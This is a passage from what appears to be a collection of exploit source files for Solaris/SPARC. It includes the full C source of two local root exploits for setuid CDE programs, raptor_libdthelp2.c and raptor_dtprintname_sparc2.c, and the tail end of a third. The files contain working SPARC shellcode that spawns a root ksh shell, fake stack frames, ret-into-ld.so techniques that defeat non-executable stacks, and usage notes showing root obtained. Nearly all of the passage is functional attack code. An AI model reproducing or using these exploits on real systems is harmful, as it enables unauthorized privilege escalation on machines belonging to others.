eip, and arguments */ 149 | for (i = 12; i < BUFSIZE - 20; i += 4) { 150 | set_val(buf, i, ret); /* strcpy */ 151 | set_val(buf, i += 4, rwx_mem); /* saved eip */ 152 | set_val(buf, i += 4, rwx_mem); /* 1st argument */ 153 | set_val(buf, i += 4, sc_addr); /* 2nd argument */ 154 | } 155 | 156 | /* we need at least one directory inside TMP_DIR to trigger the bug */ 157 | mkdir("/tmp/one_dir", S_IRWXU | S_IRWXG | S_IRWXO); 158 | 159 | /* create a symlink for the fake lpstat */ 160 | unlink("lpstat"); 161 | symlink(argv[0], "lpstat"); 162 | 163 | /* print some output */ 164 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 165 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 166 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 167 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 168 | fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 169 | fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 170 | fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); 171 | 172 | /* check for null bytes */ 173 | check_zero(sc_addr, "sc address"); 174 | 175 | /* run the vulnerable program */ 176 | execve(VULN, arg, env); 177 | perror("execve"); 178 | exit(1); 179 | } 180 | 181 | /* 182 | * add_env(): add a variable to envp and pad if needed 183 | */ 184 | int add_env(char *string) 185 | { 186 | int i; 187 | 188 | /* null termination */ 189 | if (!string) { 190 | env[env_pos] = NULL; 191 | return env_len; 192 | } 193 | 194 | /* add the variable to envp */ 195 | env[env_pos] = string; 196 | env_len += strlen(string) + 1; 197 | env_pos++; 198 | 199 | /* pad the envp using zeroes */ 200 | if ((strlen(string) + 1) % 4) 201 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 202 | env[env_pos] = string + strlen(string); 203 | env_len++; 204 | } 205 | 206 | return env_len; 207 | } 208 | 209 | /* 210 | * check_zero(): check an address for the presence of a 0x00 211 | */ 212 | void check_zero(int addr, char *pattern) 213 | { 214 | if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 215 | !(addr & 0xff000000)) { 216 | fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 217 | exit(1); 218 | } 219 | } 220 | 221 | /* 222 | * get_sc_addr(): get shellcode address using a helper program 223 | */ 224 | int get_sc_addr(char *path, char **argv) 225 | { 226 | char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; 227 | char hex[11] = "\x00"; 228 | int fd[2], addr; 229 | 230 | /* truncate program name at correct length and create a hard link */ 231 | prog[strlen(path)] = 0x0; 232 | unlink(prog); 233 | link(argv[0], prog); 234 | 235 | /* open pipe to read program output */ 236 | if (pipe(fd) < 0) { 237 | perror("pipe"); 238 | exit(1); 239 | } 240 | 241 | switch(fork()) { 242 | 243 | case -1: /* cannot fork */ 244 | perror("fork"); 245 | exit(1); 246 | 247 | case 0: /* child */ 248 | dup2(fd[1], 1); 249 | close(fd[0]); 250 | close(fd[1]); 251 | execve(prog, arg, env); 252 | perror("execve"); 253 | exit(1); 254 | 255 | default: /* parent */ 256 | close(fd[1]); 257 | read(fd[0], hex, sizeof(hex)); 258 | break; 259 | } 260 | 261 | /* check and return address */ 262 | if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { 263 | fprintf(stderr, "error: cannot read sc address from helper program\n"); 264 | exit(1); 265 | } 266 | return addr; 267 | } 268 | 269 | /* 270 | * search_ldso(): search for a symbol inside ld.so.1 271 | */ 272 | int search_ldso(char *sym) 273 | { 274 | int addr; 275 | void *handle; 276 | Link_map *lm; 277 | 278 | /* open the executable object file */ 279 | if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 280 | perror("dlopen"); 281 | exit(1); 282 | } 283 | 284 | /* get dynamic load information */ 285 | if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 286 | perror("dlinfo"); 287 | exit(1); 288 | } 289 | 290 | /* search for the address of the symbol */ 291 | if ((addr = (int)dlsym(handle, sym)) == NULL) { 292 | fprintf(stderr, "sorry, function %s() not found\n", sym); 293 | exit(1); 294 | } 295 | 296 | /* close the executable object file */ 297 | dlclose(handle); 298 | 299 | check_zero(addr - 4, sym); 300 | return addr; 301 | } 302 | 303 | /* 304 | * search_rwx_mem(): search for an RWX memory segment valid for all 305 | * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 306 | */ 307 | int search_rwx_mem(void) 308 | { 309 | int fd; 310 | char tmp[16]; 311 | prmap_t map; 312 | int addr = 0, addr_old; 313 | 314 | /* open the proc filesystem */ 315 | sprintf(tmp,"/proc/%d/map", (int)getpid()); 316 | if ((fd = open(tmp, O_RDONLY)) < 0) { 317 | fprintf(stderr, "can't open %s\n", tmp); 318 | exit(1); 319 | } 320 | 321 | /* search for the last RWX memory segment before stack (last - 1) */ 322 | while (read(fd, &map, sizeof(map))) 323 | if (map.pr_vaddr) 324 | if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 325 | addr_old = addr; 326 | addr = map.pr_vaddr; 327 | } 328 | close(fd); 329 | 330 | /* add 4 to the exact address null bytes */ 331 | if (!(addr_old & 0xff)) 332 | addr_old |= 0x04; 333 | if (!(addr_old & 0xff00)) 334 | addr_old |= 0x0400; 335 | 336 | return addr_old; 337 | } 338 | 339 | /* 340 | * set_val(): copy a dword inside a buffer (little endian) 341 | */ 342 | void set_val(char *buf, int pos, int val) 343 | { 344 | buf[pos] = (val & 0x000000ff); 345 | buf[pos + 1] = (val & 0x0000ff00) >> 8; 346 | buf[pos + 2] = (val & 0x00ff0000) >> 16; 347 | buf[pos + 3] = (val & 0xff000000) >> 24; 348 | } 349 | -------------------------------------------------------------------------------- /solaris/raptor_libdthelp2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: raptor_libdthelp2.c,v 1.1.1.1 2004/12/04 14:35:33 raptor Exp $ 3 | * 4 | * raptor_libdthelp2.c - libDtHelp.so local, Solaris/SPARC 7/8/9 5 | * Copyright (c) 2003-2004 Marco Ivaldi 6 | * 7 | * Buffer overflow in CDE libDtHelp library allows local users to execute 8 | * arbitrary code via a modified DTHELPUSERSEARCHPATH environment variable 9 | * and the Help feature (CAN-2003-0834). 10 | * 11 | * "Stay with non exec, it keeps you honest" -- Dave Aitel (0dd) 12 | * 13 | * Possible attack vectors are: DTHELPSEARCHPATH (as used in this exploit), 14 | * DTHELPUSERSEARCHPATH, LOGNAME (those two require a slightly different 15 | * exploitation technique, due to different code paths). 16 | * 17 | * This is the ret-into-ld.so version of raptor_libdthelp.c, able to bypass 18 | * the non-executable stack protection (noexec_user_stack=1 in /etc/system). 19 | * 20 | * NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory 21 | * space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes). 22 | * 23 | * Usage: 24 | * $ gcc raptor_libdthelp2.c -o raptor_libdthelp2 -ldl -Wall 25 | * [on your xserver: disable the access control] 26 | * $ ./raptor_libdthelp2 192.168.1.1:0 27 | * [on your xserver: enter the dtprintinfo help] 28 | * # id 29 | * uid=0(root) gid=1(other) 30 | * # 31 | * 32 | * Vulnerable platforms: 33 | * Solaris 7 without patch 107178-03 [tested] 34 | * Solaris 8 without patch 108949-08 [tested] 35 | * Solaris 9 without patch 116308-01 [tested] 36 | */ 37 | 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | 48 | #define INFO1 "raptor_libdthelp2.c - libDtHelp.so local, Solaris/SPARC 7/8/9" 49 | #define INFO2 "Copyright (c) 2003-2004 Marco Ivaldi " 50 | 51 | #define VULN "/usr/dt/bin/dtprintinfo" // default setuid target 52 | #define BUFSIZE 1200 // size of the evil buffer 53 | #define VARSIZE 1024 // size of the evil env vars 54 | #define FFSIZE 64 + 1 // size of the fake frame 55 | #define DUMMY 0xdeadbeef // dummy memory address 56 | 57 | /* voodoo macros */ 58 | #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} 59 | #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} 60 | 61 | char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ 62 | /* double setuid() */ 63 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 64 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 65 | /* execve() */ 66 | "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" 67 | "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" 68 | "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; 69 | 70 | /* globals */ 71 | char *env[256]; 72 | int env_pos = 0, env_len = 0; 73 | 74 | /* prototypes */ 75 | int add_env(char *string); 76 | void check_zero(int addr, char *pattern); 77 | int search_ldso(char *sym); 78 | int search_rwx_mem(void); 79 | void set_val(char *buf, int pos, int val); 80 | 81 | /* 82 | * main() 83 | */ 84 | int main(int argc, char **argv) 85 | { 86 | char buf[BUFSIZE], var1[VARSIZE], var2[VARSIZE], ff[FFSIZE]; 87 | char platform[256], release[256], display[256]; 88 | int i, offset, ff_addr, sc_addr, var1_addr, var2_addr; 89 | int plat_len, prog_len, rel; 90 | 91 | char *arg[2] = {"foo", NULL}; 92 | int arg_len = 4, arg_pos = 1; 93 | 94 | int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 95 | int ret = search_ldso("strcpy"); /* or sprintf */ 96 | int rwx_mem = search_rwx_mem(); 97 | 98 | /* print exploit information */ 99 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 100 | 101 | /* read command line */ 102 | if (argc != 2) { 103 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 104 | exit(1); 105 | } 106 | sprintf(display, "DISPLAY=%s", argv[1]); 107 | 108 | /* get some system information */ 109 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 110 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 111 | rel = atoi(release + 2); 112 | 113 | /* prepare the evil buffer */ 114 | memset(buf, 'A', sizeof(buf)); 115 | buf[sizeof(buf) - 1] = 0x0; 116 | memcpy(buf, "DTHELPSEARCHPATH=", 17); 117 | 118 | /* prepare the evil env vars */ 119 | memset(var1, 'B', sizeof(var1)); 120 | var1[sizeof(var1) - 1] = 0x0; 121 | memset(var2, 'C', sizeof(var2)); 122 | var2[sizeof(var2) - 1] = 0x0; 123 | 124 | /* prepare the fake frame */ 125 | bzero(ff, sizeof(ff)); 126 | 127 | /* 128 | * saved %l registers 129 | */ 130 | set_val(ff, i = 0, DUMMY); /* %l0 */ 131 | set_val(ff, i += 4, DUMMY); /* %l1 */ 132 | set_val(ff, i += 4, DUMMY); /* %l2 */ 133 | set_val(ff, i += 4, DUMMY); /* %l3 */ 134 | set_val(ff, i += 4, DUMMY); /* %l4 */ 135 | set_val(ff, i += 4, DUMMY); /* %l5 */ 136 | set_val(ff, i += 4, DUMMY); /* %l6 */ 137 | set_val(ff, i += 4, DUMMY); /* %l7 */ 138 | 139 | /* 140 | * saved %i registers 141 | */ 142 | set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */ 143 | set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */ 144 | set_val(ff, i += 4, DUMMY); /* %i2 */ 145 | set_val(ff, i += 4, DUMMY); /* %i3 */ 146 | set_val(ff, i += 4, DUMMY); /* %i4 */ 147 | set_val(ff, i += 4, DUMMY); /* %i5 */ 148 | set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */ 149 | set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ 150 | 151 | /* fill the envp, keeping padding */ 152 | sc_addr = add_env(ff); 153 | var1_addr = add_env(sc); 154 | var2_addr = add_env(var1); 155 | add_env(var2); 156 | add_env(display); 157 | add_env("PATH=/usr/bin:/bin:/usr/sbin:/sbin"); 158 | add_env("HOME=/tmp"); 159 | add_env(buf); 160 | add_env(NULL); 161 | 162 | /* calculate the offset to argv[0] (voodoo magic) */ 163 | plat_len = strlen(platform) + 1; 164 | prog_len = strlen(VULN) + 1; 165 | offset = arg_len + env_len + plat_len + prog_len; 166 | if (rel > 7) 167 | VOODOO64(offset, arg_pos, env_pos) 168 | else 169 | VOODOO32(offset, plat_len, prog_len) 170 | 171 | /* calculate the needed addresses */ 172 | ff_addr = sb - offset + arg_len; 173 | sc_addr += ff_addr; 174 | var1_addr += ff_addr; 175 | var2_addr += ff_addr; 176 | 177 | /* set fake frame's %i1 */ 178 | set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */ 179 | 180 | /* fill the evil buffer */ 181 | for (i = 17; i < BUFSIZE - 76; i += 4) 182 | set_val(buf, i, var1_addr - 5000); 183 | /* apparently, we don't need to bruteforce */ 184 | set_val(buf, i, ff_addr); 185 | set_val(buf, i += 4, ret - 4); /* strcpy(), after the save */ 186 | 187 | /* fill the evil env vars */ 188 | for (i = 0; i < VARSIZE - 8; i += 4) 189 | set_val(var1, i, var2_addr - 500); 190 | for (i = 0; i < VARSIZE - 8; i += 4) 191 | set_val(var2, i, ret - 8); /* ret, before strcpy() */ 192 | 193 | /* print some output */ 194 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 195 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 196 | fprintf(stderr, "Using var1 address\t: 0x%p\n", (void *)var1_addr); 197 | fprintf(stderr, "Using var2 address\t: 0x%p\n", (void *)var2_addr); 198 | fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 199 | fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 200 | fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); 201 | fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); 202 | 203 | /* run the vulnerable program */ 204 | execve(VULN, arg, env); 205 | perror("execve"); 206 | exit(0); 207 | } 208 | 209 | /* 210 | * add_env(): add a variable to envp and pad if needed 211 | */ 212 | int add_env(char *string) 213 | { 214 | int i; 215 | 216 | /* null termination */ 217 | if (!string) { 218 | env[env_pos] = NULL; 219 | return(env_len); 220 | } 221 | 222 | /* add the variable to envp */ 223 | env[env_pos] = string; 224 | env_len += strlen(string) + 1; 225 | env_pos++; 226 | 227 | /* pad the envp using zeroes */ 228 | if ((strlen(string) + 1) % 4) 229 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 230 | env[env_pos] = string + strlen(string); 231 | env_len++; 232 | } 233 | 234 | return(env_len); 235 | } 236 | 237 | /* 238 | * check_zero(): check an address for the presence of a 0x00 239 | */ 240 | void check_zero(int addr, char *pattern) 241 | { 242 | if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 243 | !(addr & 0xff000000)) { 244 | fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 245 | exit(1); 246 | } 247 | } 248 | 249 | /* 250 | * search_ldso(): search for a symbol inside ld.so.1 251 | */ 252 | int search_ldso(char *sym) 253 | { 254 | int addr; 255 | void *handle; 256 | Link_map *lm; 257 | 258 | /* open the executable object file */ 259 | if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 260 | perror("dlopen"); 261 | exit(1); 262 | } 263 | 264 | /* get dynamic load information */ 265 | if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 266 | perror("dlinfo"); 267 | exit(1); 268 | } 269 | 270 | /* search for the address of the symbol */ 271 | if ((addr = (int)dlsym(handle, sym)) == NULL) { 272 | fprintf(stderr, "sorry, function %s() not found\n", sym); 273 | exit(1); 274 | } 275 | 276 | /* close the executable object file */ 277 | dlclose(handle); 278 | 279 | check_zero(addr - 4, sym); 280 | check_zero(addr - 8, sym); /* addr - 8 is the ret before strcpy() */ 281 | return(addr); 282 | } 283 | 284 | /* 285 | * search_rwx_mem(): search for an RWX memory segment valid for all 286 | * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 287 | */ 288 | int search_rwx_mem(void) 289 | { 290 | int fd; 291 | char tmp[16]; 292 | prmap_t map; 293 | int addr = 0, addr_old; 294 | 295 | /* open the proc filesystem */ 296 | sprintf(tmp,"/proc/%d/map", (int)getpid()); 297 | if ((fd = open(tmp, O_RDONLY)) < 0) { 298 | fprintf(stderr, "can't open %s\n", tmp); 299 | exit(1); 300 | } 301 | 302 | /* search for the last RWX memory segment before stack (last - 1) */ 303 | while (read(fd, &map, sizeof(map))) 304 | if (map.pr_vaddr) 305 | if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 306 | addr_old = addr; 307 | addr = map.pr_vaddr; 308 | } 309 | close(fd); 310 | 311 | /* add 4 to the exact address NULL bytes */ 312 | if (!(addr_old & 0xff)) 313 | addr_old |= 0x04; 314 | if (!(addr_old & 0xff00)) 315 | addr_old |= 0x0400; 316 | 317 | return(addr_old); 318 | } 319 | 320 | /* 321 | * set_val(): copy a dword inside a buffer 322 | */ 323 | void set_val(char *buf, int pos, int val) 324 | { 325 | buf[pos] = (val & 0xff000000) >> 24; 326 | buf[pos + 1] = (val & 0x00ff0000) >> 16; 327 | buf[pos + 2] = (val & 0x0000ff00) >> 8; 328 | buf[pos + 3] = (val & 0x000000ff); 329 | } 330 | -------------------------------------------------------------------------------- /solaris/raptor_dtprintname_sparc2.c: -------------------------------------------------------------------------------- 1 | /* 2 | * raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC 3 | * Copyright (c) 2004-2019 Marco Ivaldi 4 | * 5 | * 0day buffer overflow in the dtprintinfo(1) CDE Print Viewer, leading to 6 | * local root. Many thanks to Dave Aitel for discovering this vulnerability 7 | * and for his interesting research activities on Solaris/SPARC. 8 | * 9 | * "None of my dtprintinfo work is public, other than that 0day pack being 10 | * leaked to all hell and back. It should all basically still work. Let's 11 | * keep it that way, cool? :>" -- Dave Aitel 12 | * 13 | * This is the ret-into-ld.so version of raptor_dtprintname_sparc.c, able 14 | * to bypass the non-executable stack protection (noexec_user_stack=1 in 15 | * /etc/system). 16 | * 17 | * NOTE. If experiencing troubles with null-bytes inside the ld.so.1 memory 18 | * space, use sprintf() instead of strcpy() (tested on some Solaris 7 boxes). 19 | * 20 | * Usage: 21 | * $ gcc raptor_dtprintname_sparc2.c -o raptor_dtprintname_sparc2 -ldl -Wall 22 | * [on your xserver: disable the access control] 23 | * $ ./raptor_dtprintname_sparc2 192.168.1.1:0 24 | * [...] 25 | * # id 26 | * uid=0(root) gid=10(staff) 27 | * # 28 | * 29 | * Tested on: 30 | * SunOS 5.7 Generic_106541-21 sun4u sparc SUNW,Ultra-1 31 | * SunOS 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-5_10 32 | * SunOS 5.9 Generic sun4u sparc SUNW,Ultra-5_10 33 | * [SunOS 5.10 is also vulnerable, the exploit might require some tweaking] 34 | */ 35 | 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | 46 | #define INFO1 "raptor_dtprintname_sparc2.c - dtprintinfo 0day, Solaris/SPARC" 47 | #define INFO2 "Copyright (c) 2004-2019 Marco Ivaldi " 48 | 49 | #define VULN "/usr/dt/bin/dtprintinfo" // the vulnerable program 50 | #define BUFSIZE 301 // size of the printer name 51 | #define FFSIZE 64 + 1 // size of the fake frame 52 | #define DUMMY 0xdeadbeef // dummy memory address 53 | 54 | /* voodoo macros */ 55 | #define VOODOO32(_,__,___) {_--;_+=(__+___-1)%4-_%4<0?8-_%4:4-_%4;} 56 | #define VOODOO64(_,__,___) {_+=7-(_+(__+___+1)*4+3)%8;} 57 | 58 | char sc[] = /* Solaris/SPARC shellcode (12 + 12 + 48 = 72 bytes) */ 59 | /* double setuid() */ 60 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 61 | "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" 62 | /* execve() */ 63 | "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20" 64 | "\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14" 65 | "\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh"; 66 | 67 | /* globals */ 68 | char *env[256]; 69 | int env_pos = 0, env_len = 0; 70 | 71 | /* prototypes */ 72 | int add_env(char *string); 73 | void check_zero(int addr, char *pattern); 74 | int search_ldso(char *sym); 75 | int search_rwx_mem(void); 76 | void set_val(char *buf, int pos, int val); 77 | 78 | /* 79 | * main() 80 | */ 81 | int main(int argc, char **argv) 82 | { 83 | char buf[BUFSIZE], ff[FFSIZE], ret_var[16], fpt_var[16]; 84 | char platform[256], release[256], display[256]; 85 | int i, offset, ff_addr, sc_addr, ret_pos, fpt_pos; 86 | int plat_len, prog_len, rel; 87 | 88 | char *arg[2] = {"foo", NULL}; 89 | int arg_len = 4, arg_pos = 1; 90 | 91 | int sb = ((int)argv[0] | 0xffff) & 0xfffffffc; 92 | int ret = search_ldso("strcpy"); /* or sprintf */ 93 | int rwx_mem = search_rwx_mem(); 94 | 95 | /* fake lpstat code */ 96 | if (!strcmp(argv[0], "lpstat")) { 97 | 98 | /* check command line */ 99 | if (argc != 2) 100 | exit(1); 101 | 102 | /* get ret and fake frame addresses from environment */ 103 | ret = (int)strtoul(getenv("RET"), (char **)NULL, 0); 104 | ff_addr = (int)strtoul(getenv("FPT"), (char **)NULL, 0); 105 | 106 | /* prepare the evil printer name */ 107 | memset(buf, 'A', sizeof(buf)); 108 | buf[sizeof(buf) - 1] = 0x0; 109 | 110 | /* fill with return and fake frame addresses */ 111 | for (i = 0; i < BUFSIZE; i += 4) { 112 | /* apparently, we don't need to bruteforce */ 113 | set_val(buf, i, ret - 4); 114 | set_val(buf, i += 4, ff_addr); 115 | } 116 | 117 | /* print the expected output and exit */ 118 | if(!strcmp(argv[1], "-v")) { 119 | fprintf(stderr, "lpstat called with -v\n"); 120 | printf("device for %s: /dev/null\n", buf); 121 | } else { 122 | fprintf(stderr, "lpstat called with -d\n"); 123 | printf("system default destination: %s\n", buf); 124 | } 125 | exit(0); 126 | } 127 | 128 | /* print exploit information */ 129 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 130 | 131 | /* read command line */ 132 | if (argc != 2) { 133 | fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); 134 | exit(1); 135 | } 136 | sprintf(display, "DISPLAY=%s", argv[1]); 137 | 138 | /* get some system information */ 139 | sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); 140 | sysinfo(SI_RELEASE, release, sizeof(release) - 1); 141 | rel = atoi(release + 2); 142 | 143 | /* prepare the fake frame */ 144 | bzero(ff, sizeof(ff)); 145 | 146 | /* 147 | * saved %l registers 148 | */ 149 | set_val(ff, i = 0, DUMMY); /* %l0 */ 150 | set_val(ff, i += 4, DUMMY); /* %l1 */ 151 | set_val(ff, i += 4, DUMMY); /* %l2 */ 152 | set_val(ff, i += 4, DUMMY); /* %l3 */ 153 | set_val(ff, i += 4, DUMMY); /* %l4 */ 154 | set_val(ff, i += 4, DUMMY); /* %l5 */ 155 | set_val(ff, i += 4, DUMMY); /* %l6 */ 156 | set_val(ff, i += 4, DUMMY); /* %l7 */ 157 | 158 | /* 159 | * saved %i registers 160 | */ 161 | set_val(ff, i += 4, rwx_mem); /* %i0: 1st arg to strcpy() */ 162 | set_val(ff, i += 4, 0x42424242); /* %i1: 2nd arg to strcpy() */ 163 | set_val(ff, i += 4, DUMMY); /* %i2 */ 164 | set_val(ff, i += 4, DUMMY); /* %i3 */ 165 | set_val(ff, i += 4, DUMMY); /* %i4 */ 166 | set_val(ff, i += 4, DUMMY); /* %i5 */ 167 | set_val(ff, i += 4, sb - 1000); /* %i6: frame pointer */ 168 | set_val(ff, i += 4, rwx_mem - 8); /* %i7: return address */ 169 | 170 | /* fill the envp, keeping padding */ 171 | sc_addr = add_env(ff); 172 | add_env(sc); 173 | ret_pos = env_pos; 174 | add_env("RET=0x41414141"); 175 | fpt_pos = env_pos; 176 | add_env("FPT=0x42424242"); 177 | add_env(display); 178 | add_env("PATH=.:/usr/bin"); 179 | add_env("HOME=/tmp"); 180 | add_env(NULL); 181 | 182 | /* calculate the offset to argv[0] (voodoo magic) */ 183 | plat_len = strlen(platform) + 1; 184 | prog_len = strlen(VULN) + 1; 185 | offset = arg_len + env_len + plat_len + prog_len; 186 | if (rel > 7) 187 | VOODOO64(offset, arg_pos, env_pos) 188 | else 189 | VOODOO32(offset, plat_len, prog_len) 190 | 191 | /* calculate the needed addresses */ 192 | ff_addr = sb - offset + arg_len; 193 | sc_addr += ff_addr; 194 | 195 | /* set fake frame's %i1 */ 196 | set_val(ff, 36, sc_addr); /* 2nd arg to strcpy() */ 197 | 198 | /* overwrite RET and FPT env vars with the right addresses */ 199 | sprintf(ret_var, "RET=0x%x", ret); 200 | env[ret_pos] = ret_var; 201 | sprintf(fpt_var, "FPT=0x%x", ff_addr); 202 | env[fpt_pos] = fpt_var; 203 | 204 | /* create a symlink for the fake lpstat */ 205 | unlink("lpstat"); 206 | symlink(argv[0], "lpstat"); 207 | 208 | /* print some output */ 209 | fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); 210 | fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); 211 | fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); 212 | fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); 213 | fprintf(stderr, "Using ff address\t: 0x%p\n", (void *)ff_addr); 214 | fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); 215 | 216 | /* run the vulnerable program */ 217 | execve(VULN, arg, env); 218 | perror("execve"); 219 | exit(0); 220 | } 221 | 222 | /* 223 | * add_env(): add a variable to envp and pad if needed 224 | */ 225 | int add_env(char *string) 226 | { 227 | int i; 228 | 229 | /* null termination */ 230 | if (!string) { 231 | env[env_pos] = NULL; 232 | return(env_len); 233 | } 234 | 235 | /* add the variable to envp */ 236 | env[env_pos] = string; 237 | env_len += strlen(string) + 1; 238 | env_pos++; 239 | 240 | /* pad the envp using zeroes */ 241 | if ((strlen(string) + 1) % 4) 242 | for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { 243 | env[env_pos] = string + strlen(string); 244 | env_len++; 245 | } 246 | 247 | return(env_len); 248 | } 249 | 250 | /* 251 | * check_zero(): check an address for the presence of a 0x00 252 | */ 253 | void check_zero(int addr, char *pattern) 254 | { 255 | if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || 256 | !(addr & 0xff000000)) { 257 | fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); 258 | exit(1); 259 | } 260 | } 261 | 262 | /* 263 | * search_ldso(): search for a symbol inside ld.so.1 264 | */ 265 | int search_ldso(char *sym) 266 | { 267 | int addr; 268 | void *handle; 269 | Link_map *lm; 270 | 271 | /* open the executable object file */ 272 | if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { 273 | perror("dlopen"); 274 | exit(1); 275 | } 276 | 277 | /* get dynamic load information */ 278 | if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { 279 | perror("dlinfo"); 280 | exit(1); 281 | } 282 | 283 | /* search for the address of the symbol */ 284 | if ((addr = (int)dlsym(handle, sym)) == NULL) { 285 | fprintf(stderr, "sorry, function %s() not found\n", sym); 286 | exit(1); 287 | } 288 | 289 | /* close the executable object file */ 290 | dlclose(handle); 291 | 292 | check_zero(addr - 4, sym); 293 | return(addr); 294 | } 295 | 296 | /* 297 | * search_rwx_mem(): search for an RWX memory segment valid for all 298 | * programs (typically, /usr/lib/ld.so.1) using the proc filesystem 299 | */ 300 | int search_rwx_mem(void) 301 | { 302 | int fd; 303 | char tmp[16]; 304 | prmap_t map; 305 | int addr = 0, addr_old; 306 | 307 | /* open the proc filesystem */ 308 | sprintf(tmp,"/proc/%d/map", (int)getpid()); 309 | if ((fd = open(tmp, O_RDONLY)) < 0) { 310 | fprintf(stderr, "can't open %s\n", tmp); 311 | exit(1); 312 | } 313 | 314 | /* search for the last RWX memory segment before stack (last - 1) */ 315 | while (read(fd, &map, sizeof(map))) 316 | if (map.pr_vaddr) 317 | if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { 318 | addr_old = addr; 319 | addr = map.pr_vaddr; 320 | } 321 | close(fd); 322 | 323 | /* add 4 to the exact address NULL bytes */ 324 | if (!(addr_old & 0xff)) 325 | addr_old |= 0x04; 326 | if (!(addr_old & 0xff00)) 327 | addr_old |= 0x0400; 328 | 329 | return(addr_old); 330 | } 331 | 332 | /* 333 | * set_val(): copy a dword inside a buffer 334 | */ 335 | void set_val(char *buf, int pos, int val) 336 | { 337 | buf[pos] = (val & 0xff000000) >> 24; 338 | buf[pos + 1] = (val & 0x00ff0000) >> 16; 339 | buf[pos + 2] = (val & 0x0000ff00) >> 8; 340 | buf[pos + 3] = (val & 0x000000ff); 341 | } 342 | --------------------------------------------------------------------------------